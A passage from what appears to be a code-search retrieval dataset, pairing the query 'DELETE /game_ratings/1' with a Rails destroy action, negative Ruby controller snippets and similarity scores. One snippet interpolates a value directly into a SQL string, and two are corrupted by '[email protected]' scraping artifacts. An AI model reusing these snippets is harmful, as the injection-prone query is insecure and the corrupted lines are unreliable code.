params[:movie_id]).first\n respond_to do |format|\n if @rating.update(user_id: @user.id, movie_id: params[:movie_id], rating: params[:rating])\n format.json { render json: @rating }\n else\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n end\n else\n format.json { head :no_content }\n end\n end", "def update_ratings\n tournament.rater.update_ratings(self)\n end", "def update_score\n question_params = params.require(:question).permit(:id, :score)\n\n render json: Question.update_score(question_params)\n end", "def update\n @rating = Rating.find(params[:id])\n @event = Event.find(params[:rating][:event_id])\n\n @rating.stars = params[:rating][:stars]\n respond_to do |format|\n if @rating.save\n format.json { render :json => { :avg_rating => @event.avg_rating } }\n else\n format.json { render :json => @rating.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n if @rating.update_attributes(params[:rating])\n flash[:notice] = 'Rating was successfully updated.'\n format.html { redirect_to(@rating) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rating.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @rating = Rating.find(params[:id])\n @rating.update_attribute :value, params[:value]\n end", "def game_rating_params\n params.require(:game_rating).permit(:game_id, :rating)\n end", "def update\n respond_to do |format|\n if @reviews_and_rating.update(reviews_and_rating_params)\n format.html { redirect_to @reviews_and_rating, notice: 'Reviews and rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @reviews_and_rating }\n else\n format.html { render :edit }\n format.json { render json: @reviews_and_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @review.update(review_params)\n @boardgame = Boardgame.find(params[:boardgame_id])\n render json: @boardgame, status: :ok\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @effort_rating.update(effort_rating_params)\n format.html { redirect_to @effort_rating, notice: 'Effort rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @effort_rating }\n else\n format.html { render :edit }\n format.json { render json: @effort_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def rating_params\n params.require(:rating).permit(:score, :game_id)\n end", "def update\n respond_to do |format|\n if @engine_rating.update(engine_rating_params)\n format.html { redirect_to @engine_rating, notice: 'Engine rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @engine_rating }\n else\n format.html { render :edit }\n format.json { render json: @engine_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @rating.update(rating_params)\n format.html {redirect_to @rating, notice: 'Payment was successfully updated.'}\n format.json {render :show, status: :ok, location: @rating}\n else\n format.html {render :edit}\n format.json {render json: @rating.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n @rating = Rating.find_by(user_id: current_user.id, event_id: params[:event_id])\n respond_to do |format|\n if @rating.update(rating_params)\n format.html { redirect_back fallback_location: root_path }\n else\n format.html { render :edit }\n end\n end\n end", "def update!(**args)\n @rating = args[:rating] if args.key?(:rating)\n @rating_system = args[:rating_system] if args.key?(:rating_system)\n end", "def update\n respond_to do |format|\n if @rating.update(rating_params)\n format.html { redirect_to :back, notice: 'Rating was successfully updated.' }\n\n else\n format.html { render :edit }\n\n end\n end\n end", "def update\n if @gift.user == @current_user\n if @gift.update(gift_params)\n render json: @gift, include: :ages\n else\n render json: @gift.errors, status: :unprocessable_entity\n end\n else\n render json: { errors: \"not authorized\" }, status: :unauthorized\n end\n end", "def update\n respond_to do |format|\n if @album_rating.update(album_rating_params)\n format.html { redirect_to @album_rating, notice: 'Album rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @album_rating }\n else\n format.html { render :edit }\n format.json { render json: @album_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rating = @skate_spot.ratings.find(params[:id])\n if @rating.update(rating_params)\n flash[:success] = \"Rating has been successfully updated!\"\n redirect_to skate_spot_path(@skate_spot)\n #redirect_to([@rating.skate_spot, @rating], :notice => 'Rating has been successfully updated!') \n else\n flash[:danger] = \"Rating has been unsuccesfully updated. Please try again.\"\n redirect_to skate_spot_path(@skate_spot)\n end\n end", "def update\n respond_to do |format|\n if @place_rating.update(place_rating_params)\n format.html { redirect_to @place_rating, notice: 'Place rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @place_rating }\n else\n format.html { render :edit }\n format.json { render json: @place_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @confidence_rating.update(confidence_rating_params)\n format.html { redirect_to @confidence_rating, notice: 'Confidence rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @confidence_rating }\n else\n format.html { render :edit }\n format.json { render json: @confidence_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @rat.update(rat_params)\n format.html { redirect_to @rat, notice: 'Rat was successfully updated.' }\n format.json { render :show, status: :ok, location: @rat }\n else\n format.html { render :edit }\n format.json { render json: @rat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rating\n @packages = Packages.find(params[:pid])\n @packages.update(:rating => params[:rate])\n end", "def update\n if @review.update(review_params)\n render json: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\nend", "def update\n respond_to do |format|\n if @rating.update(rating_params)\n format.html { redirect_to @rating, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @rating }\n else\n format.html { render :edit }\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game_score = GameScore.find(params[:id])\n\n respond_to do |format|\n if @game_score.update_attributes(params[:game_score])\n format.html { redirect_to @game_score, notice: 'Game score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @dish_rating.update(dish_rating_params)\n format.html { redirect_to @dish_rating, notice: 'Dish rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @dish_rating }\n else\n format.html { render :edit }\n format.json { render json: @dish_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rating\n ratings = reviews.pluck(:rating)\n value = ratings.empty? ? 0 : (ratings.reduce(:+).to_f / ratings.size)\n update(rating: value)\n end", "def update!(**args)\n @annotation_ratings = args[:annotation_ratings] if args.key?(:annotation_ratings)\n end", "def update\n @m_rating = MRating.find(params[:id])\n\n respond_to do |format|\n if @m_rating.update_attributes(params[:m_rating])\n format.html { redirect_to(@m_rating, :notice => 'M rating was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @m_rating.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gym_rat.update(gym_rat_params)\n format.html { redirect_to @gym_rat, notice: \"Gym rat was successfully updated.\" }\n format.json { render :show, status: :ok, location: @gym_rat }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @gym_rat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @rating_reason.update(rating_reason_params)\n format.html { redirect_to @rating_reason, notice: 'Rating reason was successfully updated.' }\n format.json { render :show, status: :ok, location: @rating_reason }\n else\n format.html { render :edit }\n format.json { render json: @rating_reason.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = current_user\n @review = Review.find(params[:id])\n @review.update_attributes(review_params)\n render json: @review, include: [:movie]\n end", "def update\n attributes = recommendation_params\n if not attributes[:liked].nil?\n rec = Recommendation.find_by(id:params[:id])\n if rec && current_user.id == rec.user_id\n rec.update(recommendation_params)\n render json:rec, status:200\n else\n render json:{errors:\"Invalid recommendation_id\"},status:422\n end\n else\n render json:{errors:\"must provide liked param\"}, status:400\n end\n end", "def rate\n @box = Box.find(params[:id])\n raise CanCan::AccessDenied unless @box.ordered_by?(current_user)\n @box.update_attributes(params[:box])\n\n flash[:alert] = \"You must provide a rating between 1 and 5\" if params[:box][:rating].blank?\n respond_to do |format|\n if @box.save\n format.html { redirect_to @box }\n format.json { render json: @box }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @box.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @component_rating.update(component_rating_params)\n format.html { redirect_to @component_rating, notice: 'Component rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @component_rating }\n else\n format.html { render :edit }\n format.json { render json: @component_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @school_rating = SchoolRating.find(params[:id])\n\n respond_to do |format|\n if @school_rating.update_attributes(params[:school_rating])\n format.html { redirect_to @school_rating, notice: 'School rating was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.where(\"secret_id='#{secret_id}\").first\n respond_to do |format|\n if game.update\n format.html\n format.json { render json: @game }\n end\n end\n end", "def update\n @scoring_method = ScoringMethod.find(params[:id])\n\n respond_to do |format|\n if @scoring_method.update_attributes(params[:scoring_method])\n format.html { redirect_to @scoring_method, notice: 'Scoring method was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scoring_method.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @rating_answer.update(rating_answer_params)\n format.html { redirect_to @rating_answer, notice: 'Rating answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @rating_answer }\n else\n format.html { render :edit }\n format.json { render json: @rating_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ad = Ad.find(params[:id])\n @item=Item.where(ad_id: @ad.id)\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n format.html { redirect_to @ad, notice: (t :ad_successfully_updated) }\n format.json { render json: @ad }\n @ad.rating=params[:rating]\n @ad.ratingsnumber+=1\n @[email protected]\n @ad.rating= @ad.ratingsum / @ad.ratingsnumber\n @ad.save \n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n @corporations = Corporation.order(:faction, :slogan)\n @runners = Runner.order(:faction, :name)\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n rating = @coment.comentratings.find_by(user_id: current_user.id)\n respond_to do |format|\n if rating.update(star: params[:star])\n message = \"You updated to #{params[:star]} stars.\"\n format.html { redirect_back(fallback_location: coment_path(@coment), notice: message) }\n format.json { render :show, status: :ok, location: coment_path(coment) }\n else\n format.html { render :edit }\n format.json { render json: @coment.comentrating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rating\n @rating = params[:value]\n @rated_user = params[:rated_user]\n @previous_rating = Rating.find_by rated_user_id: @rated_user, rating_user_id: @current_user.id\n if @previous_rating.blank?\n Rating.create(rated_user_id: @rated_user, rating_user_id: @current_user.id, value: @rating)\n else\n @previous_rating.value = @rating\n @previous_rating.save\n end\n render nothing: true, status: :ok and return\n end", "def update\n @gift = Gift.find(params[:id])\n\n respond_to do |format|\n if @gift.update_attributes(params[:gift])\n format.html { redirect_to @gift, notice: 'Gift was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @restaurant_table_rating.update(restaurant_table_rating_params)\n format.html { redirect_to @restaurant_table_rating, notice: 'Restaurant table rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant_table_rating }\n else\n format.html { render :edit }\n format.json { render json: @restaurant_table_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @score\n\n respond_to do |format|\n if @score.update(score_params)\n format.html { redirect_to :back, notice: 'Score was successfully updated.' }\n format.json { render :show, status: :ok, location: @score }\n format.js { render :update_rubric }\n else\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if User.update(current_user.id, :game_id => params[:id])\n format.json { head :no_content }\n end\n end\n end", "def update\n respond_to do |format|\n if @credibility_rating.update(credibility_rating_params)\n format.html { redirect_to @credibility_rating, notice: 'Credibility rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @credibility_rating }\n else\n format.html { render :edit }\n format.json { render json: @credibility_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ocs_rating_factor = OcsRatingFactor.find(params[:id])\n\n respond_to do |format|\n if @ocs_rating_factor.update_attributes(params[:ocs_rating_factor])\n format.html { redirect_to(@ocs_rating_factor, :notice => 'OcsRatingFactor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ocs_rating_factor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @in_game_gift.update(in_game_gift_params)\n format.html { redirect_to @in_game_gift, notice: 'In game gift was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @in_game_gift.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @content_rating.update(content_rating_params)\n format.html { redirect_to @content_rating, notice: \"Content rating was successfully updated.\" }\n format.json { render :show, status: :ok, location: @content_rating }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @content_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rating = Rating.find(params[:id])\n if @rating.move_id != nil\n @move = @rating.move\n elsif @rating.tomato_id != nil\n @move = @rating.tomato.move\n end\n log_admin(\"AdminLog: Rating updated\")\n respond_to do |format|\n if @rating.update_attributes(params[:rating])\n format.html { redirect_to @move, notice: 'Rating was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @move.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n#\tif @score.update_attributes( :image=> params[:score] )\n format.html { redirect_to @score, :notice => 'Score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_rating\n\t\tself.user_rating = self.ratings.sum(\"rating_value\")/self.ratings.count\n\t\tself.save(validate: false) #THIS IS TO PREVENT ALL OF THE USER VALIDATIONS FROM RUNNING\n\tend", "def rate_student\n AcceptedTutorRequest.where('student_rating IS NULL')\n .where('id = ?', params[:id])\n .update(params[:id], student_rating: params[:student_rating])\n head :ok\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to restaurent_path(@restaurent.id), notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @recommended.update(recommended_params)\n format.html { redirect_to @recommended, notice: 'Recommended was successfully updated.' }\n format.json { render :show, status: :ok, location: @recommended }\n else\n format.html { render :edit }\n format.json { render json: @recommended.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\tif @ratings.update(rating_params)\n\t\t\tredirect_to professor_url(@rating.professor), notice: 'Rating was successfully updated.'\n\t\telse\n\t\t\trender :edit\n\t\tend\n\tend", "def update\n @level = Level.find(params[:id])\n rating = params[:level][:rating].to_i\n @level.rating = rating\n if @level.save\n flash[:notice] = 'Level was successfully updated.'\n redirect_to :action => \"index\"\n else \n flash[:warning] = 'Invalid Options... Try again!'\n redirect_to :action => \"index\"\n end\n end", "def update\n @user_vote = UserVote.find(params[:id])\n\n @user_vote.rating_date = Time.now\n\n respond_to do |format|\n if @user_vote.update_attributes(params[:user_vote])\n format.html { redirect_to(@user_vote.movie, :notice => 'Movie rating was successfully updated.') }\n format.xml { head :ok }\n format.js { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_vote.errors, :status => :unprocessable_entity }\n format.js { head :ok }\n end\n end\n end", "def update\n respond_to do |format|\n if @request_score.update(request_score_params)\n format.html { redirect_to @request_score, notice: 'Request score was successfully updated.' }\n format.json { render :show, status: :ok, location: @request_score }\n else\n format.html { render :edit }\n format.json { render json: @request_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rating_scale_step = RatingScaleStep.find(params[:id])\n\n respond_to do |format|\n if @rating_scale_step.update_attributes(params[:rating_scale_step])\n format.html { redirect_to @rating_scale_step, notice: 'Rating scale step was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rating_scale_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = current_user.games.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game].merge({ :user_id => current_user.id }))\n format.html { redirect_to games_path, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = reviewable.reviews.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to reviewable_review_url(reviewable, @review), notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @best_rating = args[:best_rating] if args.key?(:best_rating)\n @image_url = args[:image_url] if args.key?(:image_url)\n @rating_explanation = args[:rating_explanation] if args.key?(:rating_explanation)\n @rating_value = args[:rating_value] if args.key?(:rating_value)\n @textual_rating = args[:textual_rating] if args.key?(:textual_rating)\n @worst_rating = args[:worst_rating] if args.key?(:worst_rating)\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n if @game.final? then\n recalculate_points\n end\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n if @review.update(review_params)\n head :no_content\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def update\n @review = Review.find(params[:id])\n\n if @review.update(review_params)\n head :no_content\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def update\n @review = Review.find(params[:id])\n\n if @review.update(review_params)\n head :no_content\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def update\n @create_rating = CreateRating.find(params[:id])\n\n respond_to do |format|\n if @create_rating.update_attributes(params[:create_rating])\n format.html { redirect_to(@create_rating, :notice => 'Create rating was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @create_rating.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @gift_request = GiftRequest.find(params[:id])\n \n respond_to do |format|\n if @gift_request.update_attributes(params[:gift_request])\n format.html { redirect_to @gift_request, notice: 'Gift request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift_request.errors.full_messages.to_sentence, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.where(user_id: current_user.id).find(params[:game_id])\n @round = @game.rounds.find(params[:id])\n\n respond_to do |format|\n if @round.update_attributes(params[:round])\n format.html { redirect_to @round, notice: 'Round was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @round.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\t@review = Review.find(params[:id])\n\t\[email protected] = Establishment.find(params[:establishment])\n\t\[email protected] = Category.find(params[:category])\n\t\[email protected] = Clientele.find(params[:clientele])\n\t\[email protected]_level = SoundLevel.find(params[:sound_level])\n\t\[email protected] = Hygiene.find(params[:hygiene])\n\t\[email protected] = Rating.find(params[:rating])\n\n\t\trespond_to do |format|\n\t\t\tif @review.update_attributes(params[:review])\n\t\t\t\tformat.html { redirect_to(@review, :notice => 'Review was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n @paragraph_rating = ParagraphRating.find(params[:id])\n\n respond_to do |format|\n if @paragraph_rating.update_attributes(params[:paragraph_rating])\n format.html { redirect_to @paragraph_rating, notice: 'Paragraph rating was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @paragraph_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n flash[:notice] = 'Game was successfully updated.'\n calculate_scores(@game)\n format.html { redirect_to(@game) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @recommendation = Recommendation.find(params[:id])\n\n respond_to do |format|\n if @recommendation.update_attributes(params[:recommendation])\n format.html { redirect_to @recommendation, notice: 'Recommendation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recommendation.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.70348614", "0.6950785", "0.6945379", "0.69256663", "0.6916264", "0.6839343", "0.67661744", "0.6760663", "0.6705841", "0.67040485", "0.66811776", "0.6667291", "0.66468287", "0.6590141", "0.6578216", "0.65491855", "0.65368575", "0.6528095", "0.65101016", "0.65097815", "0.65066546", "0.64822674", "0.6474212", "0.64452493", "0.64313775", "0.64281845", "0.639698", "0.63941044", "0.6380002", "0.63640726", "0.63579834", "0.6345544", "0.6333578", "0.63196987", "0.63183826", "0.62819755", "0.62777746", "0.62763387", "0.6272722", "0.62715405", "0.6253113", "0.62342507", "0.62323254", "0.6221891", "0.62212324", "0.6189516", "0.6184756", "0.6181209", "0.6176638", "0.61433536", "0.614278", "0.6138394", "0.61376595", "0.6136915", "0.6136286", "0.6121806", "0.6115806", "0.6113742", "0.6106914", "0.61060363", "0.61014396", "0.60963833", "0.60855556", "0.6079111", "0.6068505", "0.6055759", "0.604791", "0.60438365", "0.6043162", "0.60412127", "0.6028434", "0.6025913", "0.6023643", "0.6018907", "0.6018907", "0.6018907", "0.6018907", "0.6016523", "0.6014761", "0.60025316", "0.5999411", "0.5997437", "0.59927696", "0.5983927", "0.59731764", "0.5971231", "0.5971231", "0.5971231", "0.5966766", "0.5963529", "0.5962974", "0.5962974", "0.5962974", "0.59608275", "0.59607905", "0.5953412", "0.59519935", "0.59460056", "0.59439033", "0.59430534" ]
0.7391049
0
DELETE /game_ratings/1 DELETE /game_ratings/1.json
def destroy @game_rating.destroy respond_to do |format| format.html { redirect_to game_ratings_url, notice: 'Game rating was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @rating.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @rating = Rating.find(params[:id])\n @rating.destroy\n\n respond_to do |format|\n format.html { redirect_to ratings_url }\n format.json { head :ok }\n end\n end", "def destroy\n @rating = Rating.find(params[:id])\n @rating.destroy\n\n respond_to do |format|\n format.html { redirect_to ratings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rating_alt = Rating.find(params[:id])\n @rating_alt.destroy\n\n respond_to do |format|\n format.html { redirect_to rating_alts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @idea_rating.destroy\n respond_to do |format|\n format.html { redirect_to idea_ratings_url, notice: (I18n.t :act_delete) }\n format.json { head :no_content }\n end\n end", "def destroy\n @team_rating = TeamRating.find(params[:id])\n @team_rating.destroy\n\n respond_to do |format|\n format.html { redirect_to team_ratings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rating = Rating.find(params[:id])\n @rating.destroy\n\n respond_to do |format|\n format.html { redirect_to(ratings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rating.destroy\n respond_to do |format|\n format.html { redirect_to ratings_url, notice: 'Rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @rating.destroy\n respond_to do |format|\n format.html { redirect_to ratings_url, notice: 'Rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @participant_rating = ParticipantRating.find(params[:id])\n @participant_rating.destroy\n\n respond_to do |format|\n format.html { redirect_to participant_ratings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @building_energy_rating.destroy\n respond_to do |format|\n format.html { redirect_to building_energy_ratings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @restaurant_table_rating.destroy\n respond_to do |format|\n format.html { redirect_to restaurant_table_ratings_url, notice: 'Restaurant table rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @rating_score.destroy\n respond_to do |format|\n format.html { redirect_to rating_scores_url, notice: 'Rating score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_rating = SchoolRating.find(params[:id])\n @school_rating.destroy\n\n respond_to do |format|\n format.html { redirect_to school_ratings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @m_rating = MRating.find(params[:id])\n @m_rating.destroy\n\n respond_to do |format|\n format.html { redirect_to(m_ratings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rating = @skate_spot.ratings.find(params[:id])\n if @rating.destroy\n flash[:success] = \"Rating has been successfully deleted!\"\n redirect_to skate_spot_path(@skate_spot)\n else\n flash[:danger] = \"Deletion unsuccessful. Please try again.\"\n redirect_to skate_spot_path(@skate_spot)\n end\n end", "def destroy\n @user = current_user\n @review = Review.find(params[:id]).delete\n render json: { msg: \"Delete Successful\" }\n end", "def destroy\n @rating.destroy\n respond_to do |format|\n format.html {redirect_to ratings_url, notice: 'Payment was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def destroy\n @album_rating.destroy\n respond_to do |format|\n format.html { redirect_to album_ratings_url, notice: 'Album rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reviews_and_rating.destroy\n respond_to do |format|\n format.html { redirect_to reviews_and_ratings_url, notice: 'Reviews and rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_score = GameScore.find(params[:id])\n @game_score.destroy\n\n respond_to do |format|\n format.html { redirect_to game_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @effort_rating.destroy\n respond_to do |format|\n format.html { redirect_to effort_ratings_url, notice: 'Effort rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @confidence_rating.destroy\n respond_to do |format|\n format.html { redirect_to confidence_ratings_url, notice: 'Confidence rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @engine_rating.destroy\n respond_to do |format|\n format.html { redirect_to engine_ratings_url, notice: 'Engine rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Like.delete(params[\"id\"])\n end", "def destroy\n review = Review.find_by(id: params[:id]).destroy\n render json: review\n end", "def destroy\n @gym_rat.destroy\n respond_to do |format|\n format.html { redirect_to gym_rats_url, notice: \"Gym rat was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @rating.destroy\n respond_to do |format|\n format.html { redirect_to ratings_url, notice: 'Rating was successfully destroyed.' }\n\n end\n end", "def destroy\n @user = current_user\n @review_like = ReviewLike.find(params[:id]).delete\n render json: { msg: \"Delete Successful\" }\n end", "def destroy\n @create_rating = CreateRating.find(params[:id])\n @create_rating.destroy\n\n respond_to do |format|\n format.html { redirect_to(create_ratings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @game_stat = GameStat.find(params[:id])\n @game_stat.destroy\n\n 